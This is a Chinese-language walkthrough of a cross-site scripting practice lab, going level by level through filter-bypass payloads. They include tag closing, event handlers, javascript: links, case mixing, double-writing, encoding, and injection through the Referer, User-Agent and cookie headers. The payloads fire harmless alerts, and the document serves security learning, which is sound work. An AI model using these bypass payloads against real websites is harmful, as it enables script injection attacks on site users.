level1
源码很简单
直接<script>alert("xss")</script>
level2
点击弹窗的确定来到level2
输入1,2查询存在回显,查看源码发现Input标签,闭合它之后再注入
payload:"><script>alert("xss")</script>
level3
'<‘和’>'遭到过滤,将它们转换成了html字符实体
通过构造onclick事件或者javascript伪协议进行注入
payload:' onclick="alert('xss')"
' onfocus=javascript:alert('xss')
' onmouseover=javascript:alert('xss')
level4
‘<’,’>'都被过滤
payload同上,不过需要把闭合用的单引号换成双引号
通过onfocus事件时需要用//注释掉之后的闭合语句
level5
这次第一个script,on的各种大小写也被过滤
通过a标签的href属性执行伪协议
payload:"><a href='javascript:alert('xss')'>
没有对javascript进行过滤
level6
script,on和href被过滤
大小写href绕过
payload:"><a HRef='javascript:alert('xss')'>
level7
过滤了script和href,大小写也无法绕过
双写绕过
payload:"><a hrhrefef='javascrscriptipt:alert('xss')'>
level8
查看源码,传入的keyword会被放入一个input标签中,同时会放入一个a标签中
过滤了script,on,src,data,href,"
直接在查看器中修改a标签里的语句可以成功
也可以对javascript:alert('xss')
进行unicode编码后传入
level9
还是可以直接在查看器中修改
查看源码,传入的值中会被检测是否存在合法链接,若合法则会插入a href中,那就先传入一个百度的链接试试
然后点击友情链接会跳转到百度,果然插入成功,然后在之前进行编码,script被过滤,编码绕过成功
payload:javascript:alert('xss') //http://baidu.com
level10
没有直接的输入框,需要在url栏中输入
查看源码,发现隐藏了三个变量t_link,t_history,t_sort
构造传入后查看源码,<>被过滤,但原本网页中并没有可以触发事件的地方。
使用type="text"自行构造一个文本框触发事件
payload:1&t_sort=" type="text" onclick="alert('xss')
或者直接在查看器中增加文本框和事件
level11
还是可以修改查看器中的语句
尝试上一题的方法,语句中的双引号被编码了
本题变量中多了一个t_ref,为referer请求头,在hackbar中进行传入" type="text" onclick="alert('xss')
成功
level12
这次是user agent请求头
level13
cookie
user=" type="text" onclick="alert('xss')
level15
直接在查看器中修改img标签
payload:onerror="alert('xss')"
但是这应该不是正常的做法
这里应用的是ng-include,包含之前有过xss漏洞的html文件
payload:?src='level1.php?name=<img src=1 onerror=alert(1)>'
level16
script,/,空格都被过滤 用%0a代替空格
payload:<a%0atypt="text"%0aonclick="alert('xss')"
然后并没有出现文本框,在图片上点击一下
也可以使用img标签
level17
firefox不支持swf…
考虑事件触发
level18
同上一题
level19
flash停用了